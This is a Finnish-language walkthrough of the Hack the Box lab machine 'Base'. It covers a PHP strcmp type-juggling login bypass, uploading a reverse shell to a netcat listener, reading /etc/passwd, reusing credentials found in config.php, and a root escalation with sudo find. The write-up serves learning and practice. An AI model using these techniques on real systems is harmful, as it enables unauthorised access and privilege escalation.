Hack the Box Starting Point Tier 2: Base

Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite vastaamaan osoitetta base.htb

User flag

Tehty nopea Nmap-skannaus kohteen kaikkiin TCP-portteihin asettamalla skannausnopeus -T5 ja –min-rate=1000 sekä –max-retries=2. Nmap löysi kohteesta avoimet portit 22 (SSH) ja 80 (TCP).

Skannattu perusteellisemmin Nmap:lla portit 22 ja 80. Huomataan, että kohde on Linux-kone.

Selaimella menty kohteen osoitteeseen base.htb

Navigoitu Login-painikkeesta kirjautumissivulle. Osoiteriviltä huomataan osoite: http://base.htb/login/login.php

Osoiteriviltä päästy tarkastelemaan kohteen hakemistoa /login poistamalla osoiteriviltä tiedostonnimi login.php
Hakemisto sisältää kolme php-tiedostoa: config.php, login.php ja login.php.swp. Ladattu SWAP-tiedosto: login.php.swp

Luettu tiedoston login.php.swp sisältö komennolla: strings login.php.swp (komento strings mahdollistaa tiedostojen lukemisen, jossa lukukelvotonta sisältöä). Huomataan, että koodi on HTML/PHP -koodia.

PHP-koodi, joka hallinnoi kirjautumisia vaikuttaa olevan väärinpäin:
!DOCTYPE html>
}
print(“<script>alert(‘Wrong Username or Password’)</script>”);
} else {
}
print(“<script>alert(‘Wrong Username or Password’)</script>”);
} else {
header(“Location: /upload.php”);
$_SESSION[‘user_id’] = 1;
if (strcmp($password, $_POST[‘password’]) == 0) {
if (strcmp($username, $_POST[‘username’]) == 0) {
require(‘config.php’);
if (!empty($_POST[‘username’]) && !empty($_POST[‘password’])) {
session_start();
<?php
</html>
</body>

Komennolla: vim -r login.php.swp aukaistu SWAP-tiedosto Vim:ssa, jotta PHP-skripti näkyy oikein. Tiedosto tarkistaa käyttäjätunnuksen/salasanan, jotka käyttäjä syöttää.

Koodissa käytetään strcmp-funktiota käyttäjätunnuksen ja salasanan tarkistamiseen. Funktiota käytetään merkkijonojen vertailuun, ja funktio palauttaa 0, kun syötetyt arvot ovat identtiset. Prosessi ei ole turvallinen, ja voidaan mahdollisesti ohittaa ilman oikeaa käyttäjätunnusta ja salasanaa.

Koodissa strcmp-funktiolle on on annettu tyhjä taulukko verrattavaksi tallennettuun salasanaan, ja palauttaa NULL. PHP:ssa operaattori == tarkistaa onko muuttuja saman arvoinen, arvo NULL vastaa 0. Oikea tapa olisi käyttää === -operaattoria, joka tarkistaa sekä arvon että tyypin.

PHP:ssa muuttujat voidaan muutta taulukoiksi lisäämällä eteen []
Lisäämällä [] muuttujan $username eteen, vertaa strcmp() taulukkoon merkkijonon sijaan.

Jos muuttujat muutetaan tyhjiksi taulukoiksi ( $username[] & $password[] ), vertailu palauttaa NULL , ja NULL == 0 palauttaa true, jolloin kirjautuminen onnistuu.

Lisää PHP Type Juggling haavoittuvuudesta: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

Menty takaisin kirjautumissivulle http://base.htb/login/login.php ja syötetty käyttäjätunnukseksi admin ja salasanaksi qwerty. Siepattu login-requesti Burb Suitessa ja lähetetty Repeater-välilehdelle.

Lisätty requestiin username ja password jälkeen [] ja lähetetty requesti. Saatu 302 found virhekoodi. Painettu yläpalkista “Follow redirection”.

Uudelleenohjauksen jälkeen vastauksessa näkyy sivun otsikkona: Base – File Upload
Kopioitu Burb Suitesta vastauksen URL-osoite ja avattu linkki selaimessa.

Linkki http://base.htb/upload.php johti tiedostojen lataussivulle. Seuraavaksi ladataan sivulle tiedosto php-reverse-shell.php Reverse Shellin muodostamista varten.

Kopioitu tiedosto php-reverse-shell.php nykyiseen hakemistoon komennolla: cp /usr/share/webshells/php/php-reverse-shell.php .

Muokattu tiedostoon php-reverse-shell.php oma tun0 IP-osoite ja portti 4444.

Ladattu tiedosto http://base.htb/upload.php sivulle, ja saatiin ilmoitus sivulla onnistuneesta tiedoston lataamisesta.

Gobusterin avulla selvitetty mahdollista hakemistoa, johon ladattu tiedosto php-reverse-shell.php meni kohteessa. Komento: gobuster dir -u http://base.htb/ -w /usr/share/wordlists/dirb/big.txt
Gobuster löysi hakemiston: /_uploaded

Selaimella menty osoitteeseen: base.htb/_uploaded/ ja huomataan sijainnista ladattu tiedosto php-reverse-shell.php

Käynnistetty Netcat-kuuntelija porttiin 4444 komennolla: nc -lvnp 4444

Kirjoitettu selaimessa osoiteriville: http://base.htb/_uploaded/php-reverse-shell.php

Netcat-kuuntelijassa onnistuneesti saatu Reverse Shell kohteeseen (10.129.22.4). Otettu vakaa shell komennolla: python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

Tarkasteltu tiedostosta /etc/passwd kohteen käyttäjiä. Huomataan, että käyttäjällä john on /bin/bash -shell, joka mahdollistaa sisäänkirjautumisen.

Siirrytty kohteessa hakemistoon /var/www/html ja listattu hakemiston sisältö.

Hakemiston /var/www/html/login tiedostosta config.php löytyi käyttäjätunnus: admin ja salasana: thisisagoodpassword

Onnistuneesti kirjauduttu sisään käyttäjänä john ja salasanalla thisisagoodpassword

User flag löytyi hakemistosta /home/john

Root flag

Komennolla sudo -l tarkistettu mitä komentoja käyttäjä john pystyy suorittamaan sudo-oikeuksin. Huomataan, että john pystyy ainoastaan suorittamaan sudona komennon find

Komennolla: sudo find . -exec /bin/sh \; -quit kohotettu oikeudet root-käyttäjäksi. Lähde komentoon: https://gtfobins.github.io/gtfobins/find/

Root flag löytyi hakemistosta /root

Base:n suorittamisen jälkeen kaikki Starting Point -osion 14.8.2022 mennessä julkaistut 22 konetta suoritettu.